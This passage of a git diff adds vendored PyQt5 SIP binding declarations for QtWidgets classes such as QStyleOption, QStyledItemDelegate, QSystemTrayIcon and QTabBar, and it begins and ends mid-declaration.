visualPos(Qt::LayoutDirection direction, const QRect &boundingRect, const QPoint &logicalPos); + static int sliderPositionFromValue(int min, int max, int logicalValue, int span, bool upsideDown = false); + static int sliderValueFromPosition(int min, int max, int position, int span, bool upsideDown = false); + static Qt::Alignment visualAlignment(Qt::LayoutDirection direction, Qt::Alignment alignment); + static QRect alignedRect(Qt::LayoutDirection direction, Qt::Alignment alignment, const QSize &size, const QRect &rectangle); + virtual int layoutSpacing(QSizePolicy::ControlType control1, QSizePolicy::ControlType control2, Qt::Orientation orientation, const QStyleOption *option = 0, const QWidget *widget = 0) const = 0; + int combinedLayoutSpacing(QSizePolicy::ControlTypes controls1, QSizePolicy::ControlTypes controls2, Qt::Orientation orientation, QStyleOption *option = 0, QWidget *widget = 0) const; + + enum RequestSoftwareInputPanel + { + RSIP_OnMouseClickAndAlreadyFocused, + RSIP_OnMouseClick, + }; + + const QStyle *proxy() const; +}; + +QFlags operator|(QStyle::StateFlag f1, QFlags f2); +QFlags operator|(QStyle::SubControl f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstyleditemdelegate.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstyleditemdelegate.sip new file mode 100644 index 00000000..07205cf0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstyleditemdelegate.sip @@ -0,0 +1,46 @@ +// qstyleditemdelegate.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStyledItemDelegate : QAbstractItemDelegate +{ +%TypeHeaderCode +#include +%End + +public: + explicit QStyledItemDelegate(QObject *parent /TransferThis/ = 0); + virtual ~QStyledItemDelegate(); + virtual void paint(QPainter *painter, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const; + virtual QSize sizeHint(const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const; + virtual QWidget *createEditor(QWidget *parent /TransferThis/, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const /Factory/; + virtual void setEditorData(QWidget *editor, const QModelIndex &index) const; + virtual void setModelData(QWidget *editor, QAbstractItemModel *model /KeepReference/, const QModelIndex &index) const; + virtual void updateEditorGeometry(QWidget *editor, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index) const; + QItemEditorFactory *itemEditorFactory() const; + void setItemEditorFactory(QItemEditorFactory *factory /KeepReference/); + virtual QString displayText(const QVariant &value, const QLocale &locale) const; + +protected: + virtual void initStyleOption(QStyleOptionViewItem *option, const QModelIndex &index) const; + virtual bool eventFilter(QObject *object, QEvent *event); + virtual bool editorEvent(QEvent *event, QAbstractItemModel *model, const QStyleOptionViewItem &option /NoCopy/, const QModelIndex &index); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstylefactory.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstylefactory.sip new file mode 100644 index 00000000..ac513217 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstylefactory.sip @@ -0,0 +1,32 @@ +// qstylefactory.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStyleFactory +{ +%TypeHeaderCode +#include +%End + +public: + static QStringList keys(); + static QStyle *create(const QString &) /Factory/; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstyleoption.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstyleoption.sip new file mode 100644 index 00000000..64299ae4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstyleoption.sip @@ -0,0 +1,1071 @@ +// qstyleoption.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStyleOption +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + switch (sipCpp->type) + { + case QStyleOption::SO_Button: + sipType = sipType_QStyleOptionButton; + break; + + case QStyleOption::SO_ComboBox: + sipType = sipType_QStyleOptionComboBox; + break; + + case QStyleOption::SO_DockWidget: + sipType = sipType_QStyleOptionDockWidget; + break; + + case QStyleOption::SO_FocusRect: + sipType = sipType_QStyleOptionFocusRect; + break; + + case QStyleOption::SO_Frame: + sipType = sipType_QStyleOptionFrame; + break; + + case QStyleOption::SO_GraphicsItem: + sipType = sipType_QStyleOptionGraphicsItem; + break; + + case QStyleOption::SO_GroupBox: + sipType = sipType_QStyleOptionGroupBox; + break; + + case QStyleOption::SO_Header: + sipType = sipType_QStyleOptionHeader; + break; + + case QStyleOption::SO_MenuItem: + sipType = sipType_QStyleOptionMenuItem; + break; + + case QStyleOption::SO_ProgressBar: + sipType = sipType_QStyleOptionProgressBar; + break; + + case QStyleOption::SO_RubberBand: + sipType = sipType_QStyleOptionRubberBand; + break; + + case QStyleOption::SO_SizeGrip: + sipType = sipType_QStyleOptionSizeGrip; + break; + + case QStyleOption::SO_Slider: + sipType = sipType_QStyleOptionSlider; + break; + + case QStyleOption::SO_SpinBox: + sipType = sipType_QStyleOptionSpinBox; + break; + + case QStyleOption::SO_Tab: + sipType = sipType_QStyleOptionTab; + break; + + case QStyleOption::SO_TabBarBase: + sipType = sipType_QStyleOptionTabBarBase; + break; + + case QStyleOption::SO_TabWidgetFrame: + sipType = sipType_QStyleOptionTabWidgetFrame; + break; + + case QStyleOption::SO_TitleBar: + sipType = sipType_QStyleOptionTitleBar; + break; + + case QStyleOption::SO_ToolBar: + sipType = sipType_QStyleOptionToolBar; + break; + + case QStyleOption::SO_ToolBox: + sipType = sipType_QStyleOptionToolBox; + break; + + case QStyleOption::SO_ToolButton: + sipType = sipType_QStyleOptionToolButton; + break; + + case QStyleOption::SO_ViewItem: + sipType = sipType_QStyleOptionViewItem; + break; + + default: + if ((sipCpp->type & QStyleOption::SO_ComplexCustomBase) == QStyleOption::SO_ComplexCustomBase) + sipType = sipType_QStyleOptionComplex; + else + sipType = 0; + } +%End + +public: + enum OptionType + { + SO_Default, + SO_FocusRect, + SO_Button, + SO_Tab, + SO_MenuItem, + SO_Frame, + SO_ProgressBar, + SO_ToolBox, + SO_Header, + SO_DockWidget, + SO_ViewItem, + SO_TabWidgetFrame, + SO_TabBarBase, + SO_RubberBand, + SO_ToolBar, + SO_Complex, + SO_Slider, + SO_SpinBox, + SO_ToolButton, + SO_ComboBox, + SO_TitleBar, + SO_GroupBox, + SO_ComplexCustomBase, + SO_GraphicsItem, + SO_SizeGrip, + SO_CustomBase, + }; + + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + int version; + int type; + QStyle::State state; + Qt::LayoutDirection direction; + QRect rect; + QFontMetrics fontMetrics; + QPalette palette; + QObject *styleObject; + QStyleOption(int version = QStyleOption::StyleOptionVersion::Version, int type = QStyleOption::OptionType::SO_Default); + QStyleOption(const QStyleOption &other); + ~QStyleOption(); + void initFrom(const QWidget *w); +}; + +class QStyleOptionFocusRect : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QColor backgroundColor; + QStyleOptionFocusRect(); + QStyleOptionFocusRect(const QStyleOptionFocusRect &other); +}; + +class QStyleOptionFrame : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + enum FrameFeature + { + None /PyName=None_/, + Flat, + Rounded, + }; + + typedef QFlags FrameFeatures; + QStyleOptionFrame::FrameFeatures features; + QFrame::Shape frameShape; + int lineWidth; + int midLineWidth; + QStyleOptionFrame(); + QStyleOptionFrame(const QStyleOptionFrame &other); +}; + +QFlags operator|(QStyleOptionFrame::FrameFeature f1, QFlags f2); + +class QStyleOptionTabWidgetFrame : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + int lineWidth; + int midLineWidth; + QTabBar::Shape shape; + QSize tabBarSize; + QSize rightCornerWidgetSize; + QSize leftCornerWidgetSize; + QRect tabBarRect; + QRect selectedTabRect; + QStyleOptionTabWidgetFrame(); + QStyleOptionTabWidgetFrame(const QStyleOptionTabWidgetFrame &other); +}; + +class QStyleOptionTabBarBase : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QTabBar::Shape shape; + QRect tabBarRect; + QRect selectedTabRect; + bool documentMode; + QStyleOptionTabBarBase(); + QStyleOptionTabBarBase(const QStyleOptionTabBarBase &other); +}; + +class QStyleOptionHeader : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + enum SectionPosition + { + Beginning, + Middle, + End, + OnlyOneSection, + }; + + enum SelectedPosition + { + NotAdjacent, + NextIsSelected, + PreviousIsSelected, + NextAndPreviousAreSelected, + }; + + enum SortIndicator + { + None /PyName=None_/, + SortUp, + SortDown, + }; + + int section; + QString text; + Qt::Alignment textAlignment; + QIcon icon; + Qt::Alignment iconAlignment; + QStyleOptionHeader::SectionPosition position; + QStyleOptionHeader::SelectedPosition selectedPosition; + QStyleOptionHeader::SortIndicator sortIndicator; + Qt::Orientation orientation; + QStyleOptionHeader(); + QStyleOptionHeader(const QStyleOptionHeader &other); +}; + +class QStyleOptionButton : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + enum ButtonFeature + { + None /PyName=None_/, + Flat, + HasMenu, + DefaultButton, + AutoDefaultButton, + CommandLinkButton, + }; + + typedef QFlags ButtonFeatures; + QStyleOptionButton::ButtonFeatures features; + QString text; + QIcon icon; + QSize iconSize; + QStyleOptionButton(); + QStyleOptionButton(const QStyleOptionButton &other); +}; + +QFlags operator|(QStyleOptionButton::ButtonFeature f1, QFlags f2); + +class QStyleOptionTab : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + enum TabPosition + { + Beginning, + Middle, + End, + OnlyOneTab, + }; + + enum SelectedPosition + { + NotAdjacent, + NextIsSelected, + PreviousIsSelected, + }; + + enum CornerWidget + { + NoCornerWidgets, + LeftCornerWidget, + RightCornerWidget, + }; + + typedef QFlags CornerWidgets; + QTabBar::Shape shape; + QString text; + QIcon icon; + int row; + QStyleOptionTab::TabPosition position; + QStyleOptionTab::SelectedPosition selectedPosition; + QStyleOptionTab::CornerWidgets cornerWidgets; + QSize iconSize; + bool documentMode; + QSize leftButtonSize; + QSize rightButtonSize; + + enum TabFeature + { + None /PyName=None_/, + HasFrame, + }; + + typedef QFlags TabFeatures; + QStyleOptionTab::TabFeatures features; + QStyleOptionTab(); + QStyleOptionTab(const QStyleOptionTab &other); +}; + +QFlags operator|(QStyleOptionTab::CornerWidget f1, QFlags f2); +%If (Qt_5_15_0 -) + +class QStyleOptionTabV4 : QStyleOptionTab +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionVersion + { + Version, + }; + + QStyleOptionTabV4(); + int tabIndex; +}; + +%End + +class QStyleOptionProgressBar : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + int minimum; + int maximum; + int progress; + QString text; + Qt::Alignment textAlignment; + bool textVisible; + Qt::Orientation orientation; + bool invertedAppearance; + bool bottomToTop; + QStyleOptionProgressBar(); + QStyleOptionProgressBar(const QStyleOptionProgressBar &other); +}; + +class QStyleOptionMenuItem : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + enum MenuItemType + { + Normal, + DefaultItem, + Separator, + SubMenu, + Scroller, + TearOff, + Margin, + EmptyArea, + }; + + enum CheckType + { + NotCheckable, + Exclusive, + NonExclusive, + }; + + QStyleOptionMenuItem::MenuItemType menuItemType; + QStyleOptionMenuItem::CheckType checkType; + bool checked; + bool menuHasCheckableItems; + QRect menuRect; + QString text; + QIcon icon; + int maxIconWidth; + int tabWidth; + QFont font; + QStyleOptionMenuItem(); + QStyleOptionMenuItem(const QStyleOptionMenuItem &other); +}; + +class QStyleOptionDockWidget : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QString title; + bool closable; + bool movable; + bool floatable; + bool verticalTitleBar; + QStyleOptionDockWidget(); + QStyleOptionDockWidget(const QStyleOptionDockWidget &other); +}; + +class QStyleOptionViewItem : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + enum Position + { + Left, + Right, + Top, + Bottom, + }; + + Qt::Alignment displayAlignment; + Qt::Alignment decorationAlignment; + Qt::TextElideMode textElideMode; + QStyleOptionViewItem::Position decorationPosition; + QSize decorationSize; + QFont font; + bool showDecorationSelected; + + enum ViewItemFeature + { + None /PyName=None_/, + WrapText, + Alternate, + HasCheckIndicator, + HasDisplay, + HasDecoration, + }; + + typedef QFlags ViewItemFeatures; + QStyleOptionViewItem::ViewItemFeatures features; + QLocale locale; + const QWidget *widget; + + enum ViewItemPosition + { + Invalid, + Beginning, + Middle, + End, + OnlyOne, + }; + + QModelIndex index; + Qt::CheckState checkState; + QIcon icon; + QString text; + QStyleOptionViewItem::ViewItemPosition viewItemPosition; + QBrush backgroundBrush; + QStyleOptionViewItem(); + QStyleOptionViewItem(const QStyleOptionViewItem &other); +}; + +QFlags operator|(QStyleOptionViewItem::ViewItemFeature f1, QFlags f2); + +class QStyleOptionToolBox : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QString text; + QIcon icon; + + enum TabPosition + { + Beginning, + Middle, + End, + OnlyOneTab, + }; + + enum SelectedPosition + { + NotAdjacent, + NextIsSelected, + PreviousIsSelected, + }; + + QStyleOptionToolBox::TabPosition position; + QStyleOptionToolBox::SelectedPosition selectedPosition; + QStyleOptionToolBox(); + QStyleOptionToolBox(const QStyleOptionToolBox &other); +}; + +class QStyleOptionRubberBand : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QRubberBand::Shape shape; + bool opaque; + QStyleOptionRubberBand(); + QStyleOptionRubberBand(const QStyleOptionRubberBand &other); +}; + +class QStyleOptionComplex : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QStyle::SubControls subControls; + QStyle::SubControls activeSubControls; + QStyleOptionComplex(int version = QStyleOptionComplex::StyleOptionVersion::Version, int type = QStyleOption::OptionType::SO_Complex); + QStyleOptionComplex(const QStyleOptionComplex &other); +}; + +class QStyleOptionSlider : QStyleOptionComplex +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + Qt::Orientation orientation; + int minimum; + int maximum; + QSlider::TickPosition tickPosition; + int tickInterval; + bool upsideDown; + int sliderPosition; + int sliderValue; + int singleStep; + int pageStep; + qreal notchTarget; + bool dialWrapping; + QStyleOptionSlider(); + QStyleOptionSlider(const QStyleOptionSlider &other); +}; + +class QStyleOptionSpinBox : QStyleOptionComplex +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QAbstractSpinBox::ButtonSymbols buttonSymbols; + QAbstractSpinBox::StepEnabled stepEnabled; + bool frame; + QStyleOptionSpinBox(); + QStyleOptionSpinBox(const QStyleOptionSpinBox &other); +}; + +class QStyleOptionToolButton : QStyleOptionComplex +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + enum ToolButtonFeature + { + None /PyName=None_/, + Arrow, + Menu, + PopupDelay, + MenuButtonPopup, + HasMenu, + }; + + typedef QFlags ToolButtonFeatures; + QStyleOptionToolButton::ToolButtonFeatures features; + QIcon icon; + QSize iconSize; + QString text; + Qt::ArrowType arrowType; + Qt::ToolButtonStyle toolButtonStyle; + QPoint pos; + QFont font; + QStyleOptionToolButton(); + QStyleOptionToolButton(const QStyleOptionToolButton &other); +}; + +QFlags operator|(QStyleOptionToolButton::ToolButtonFeature f1, QFlags f2); + +class QStyleOptionComboBox : QStyleOptionComplex +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + bool editable; + QRect popupRect; + bool frame; + QString currentText; + QIcon currentIcon; + QSize iconSize; + QStyleOptionComboBox(); + QStyleOptionComboBox(const QStyleOptionComboBox &other); +}; + +class QStyleOptionTitleBar : QStyleOptionComplex +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QString text; + QIcon icon; + int titleBarState; + Qt::WindowFlags titleBarFlags; + QStyleOptionTitleBar(); + QStyleOptionTitleBar(const QStyleOptionTitleBar &other); +}; + +class QStyleHintReturn +{ +%TypeHeaderCode +#include +%End + +public: + enum HintReturnType + { + SH_Default, + SH_Mask, + SH_Variant, + }; + + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QStyleHintReturn(int version = QStyleOption::StyleOptionVersion::Version, int type = QStyleHintReturn::HintReturnType::SH_Default); + ~QStyleHintReturn(); + int version; + int type; +}; + +class QStyleHintReturnMask : QStyleHintReturn +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QStyleHintReturnMask(); + ~QStyleHintReturnMask(); + QRegion region; +}; + +class QStyleOptionToolBar : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + enum ToolBarPosition + { + Beginning, + Middle, + End, + OnlyOne, + }; + + enum ToolBarFeature + { + None /PyName=None_/, + Movable, + }; + + typedef QFlags ToolBarFeatures; + QStyleOptionToolBar::ToolBarPosition positionOfLine; + QStyleOptionToolBar::ToolBarPosition positionWithinLine; + Qt::ToolBarArea toolBarArea; + QStyleOptionToolBar::ToolBarFeatures features; + int lineWidth; + int midLineWidth; + QStyleOptionToolBar(); + QStyleOptionToolBar(const QStyleOptionToolBar &other); +}; + +QFlags operator|(QStyleOptionToolBar::ToolBarFeature f1, QFlags f2); + +class QStyleOptionGroupBox : QStyleOptionComplex +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QStyleOptionFrame::FrameFeatures features; + QString text; + Qt::Alignment textAlignment; + QColor textColor; + int lineWidth; + int midLineWidth; + QStyleOptionGroupBox(); + QStyleOptionGroupBox(const QStyleOptionGroupBox &other); +}; + +class QStyleOptionSizeGrip : QStyleOptionComplex +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + Qt::Corner corner; + QStyleOptionSizeGrip(); + QStyleOptionSizeGrip(const QStyleOptionSizeGrip &other); +}; + +class QStyleOptionGraphicsItem : QStyleOption +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QRectF exposedRect; + static qreal levelOfDetailFromTransform(const QTransform &worldTransform); + QStyleOptionGraphicsItem(); + QStyleOptionGraphicsItem(const QStyleOptionGraphicsItem &other); +}; + +class QStyleHintReturnVariant : QStyleHintReturn +{ +%TypeHeaderCode +#include +%End + +public: + enum StyleOptionType + { + Type, + }; + + enum StyleOptionVersion + { + Version, + }; + + QStyleHintReturnVariant(); + ~QStyleHintReturnVariant(); + QVariant variant; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstylepainter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstylepainter.sip new file mode 100644 index 00000000..a9016984 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qstylepainter.sip @@ -0,0 +1,41 @@ +// qstylepainter.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QStylePainter : QPainter +{ +%TypeHeaderCode +#include +%End + +public: + QStylePainter(); + explicit QStylePainter(QWidget *w); + QStylePainter(QPaintDevice *pd, QWidget *w); + bool begin(QWidget *w); + bool begin(QPaintDevice *pd, QWidget *w); + QStyle *style() const; + void drawPrimitive(QStyle::PrimitiveElement pe, const QStyleOption &opt); + void drawControl(QStyle::ControlElement ce, const QStyleOption &opt); + void drawComplexControl(QStyle::ComplexControl cc, const QStyleOptionComplex &opt); + void drawItemText(const QRect &rect, int flags, const QPalette &pal, bool enabled, const QString &text, QPalette::ColorRole textRole = QPalette::NoRole); + void drawItemPixmap(const QRect &r, int flags, const QPixmap &pixmap); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsystemtrayicon.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsystemtrayicon.sip new file mode 100644 index 00000000..52ae80dd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qsystemtrayicon.sip @@ -0,0 +1,80 @@ +// qsystemtrayicon.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSystemTrayIcon : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum ActivationReason + { + Unknown, + Context, + DoubleClick, + Trigger, + MiddleClick, + }; + + enum MessageIcon + { + NoIcon, + Information, + Warning, + Critical, + }; + + QSystemTrayIcon(QObject *parent /TransferThis/ = 0); + QSystemTrayIcon(const QIcon &icon, QObject *parent /TransferThis/ = 0); + virtual ~QSystemTrayIcon(); + void setContextMenu(QMenu *menu /KeepReference/); + QMenu *contextMenu() const; + QRect geometry() const; + QIcon icon() const; + void setIcon(const QIcon &icon); + QString toolTip() const; + void setToolTip(const QString &tip); + static bool isSystemTrayAvailable(); + static bool supportsMessages(); + +public slots: + void showMessage(const QString &title, const QString &msg, QSystemTrayIcon::MessageIcon icon = QSystemTrayIcon::Information, int msecs = 10000); +%If (Qt_5_9_0 -) + void showMessage(const QString &title, const QString &msg, const QIcon &icon, int msecs = 10000); +%End + +public: + bool isVisible() const; + +public slots: + void hide(); + void setVisible(bool visible); + void show(); + +signals: + void activated(QSystemTrayIcon::ActivationReason reason); + void messageClicked(); + +protected: + virtual bool event(QEvent *event); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtabbar.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtabbar.sip new file mode 100644 index 00000000..d1ba9d2e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtabbar.sip @@ -0,0 +1,184 @@ +// qtabbar.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTabBar : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTabBar(QWidget *parent /TransferThis/ = 0); + virtual ~QTabBar(); + + enum Shape + { + RoundedNorth, + RoundedSouth, + RoundedWest, + RoundedEast, + TriangularNorth, + TriangularSouth, + TriangularWest, + TriangularEast, + }; + + QTabBar::Shape shape() const; + void setShape(QTabBar::Shape shape); + int addTab(const QString &text); + int addTab(const QIcon &icon, const QString &text); + int insertTab(int index, const QString &text); + int insertTab(int index, const QIcon &icon, const QString &text); + void removeTab(int index); + bool isTabEnabled(int index) const; + void setTabEnabled(int index, bool); + QString tabText(int index) const; + void setTabText(int index, const QString &text); + QColor tabTextColor(int index) const; + void setTabTextColor(int index, const QColor &color); + QIcon tabIcon(int index) const; + void setTabIcon(int index, const QIcon &icon); + void setTabToolTip(int index, const QString &tip); + QString tabToolTip(int index) const; + void setTabWhatsThis(int index, const QString &text); + QString tabWhatsThis(int index) const; + void setTabData(int index, const QVariant &data); + QVariant tabData(int index) const; + int tabAt(const QPoint &pos) const; + QRect tabRect(int index) const; + int currentIndex() const; + int count() const /__len__/; + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + void setDrawBase(bool drawTheBase); + bool drawBase() const; + QSize iconSize() const; + void setIconSize(const QSize &size); + Qt::TextElideMode elideMode() const; + void setElideMode(Qt::TextElideMode); + void setUsesScrollButtons(bool useButtons); + bool usesScrollButtons() const; + +public slots: + void setCurrentIndex(int index); + +signals: + void currentChanged(int index); + +protected: + void initStyleOption(QStyleOptionTab *option, int tabIndex) const; + virtual QSize tabSizeHint(int index) const; + virtual void tabInserted(int index); + virtual void tabRemoved(int index); + virtual void tabLayoutChange(); + virtual bool event(QEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void showEvent(QShowEvent *); + virtual void paintEvent(QPaintEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void changeEvent(QEvent *); + +public: + enum ButtonPosition + { + LeftSide, + RightSide, + }; + + enum SelectionBehavior + { + SelectLeftTab, + SelectRightTab, + SelectPreviousTab, + }; + + void moveTab(int from, int to); + bool tabsClosable() const; + void setTabsClosable(bool closable); + void setTabButton(int index, QTabBar::ButtonPosition position, QWidget *widget /Transfer/); + QWidget *tabButton(int index, QTabBar::ButtonPosition position) const; + QTabBar::SelectionBehavior selectionBehaviorOnRemove() const; + void setSelectionBehaviorOnRemove(QTabBar::SelectionBehavior behavior); + bool expanding() const; + void setExpanding(bool enabled); + bool isMovable() const; + void setMovable(bool movable); + bool documentMode() const; + void setDocumentMode(bool set); + +signals: + void 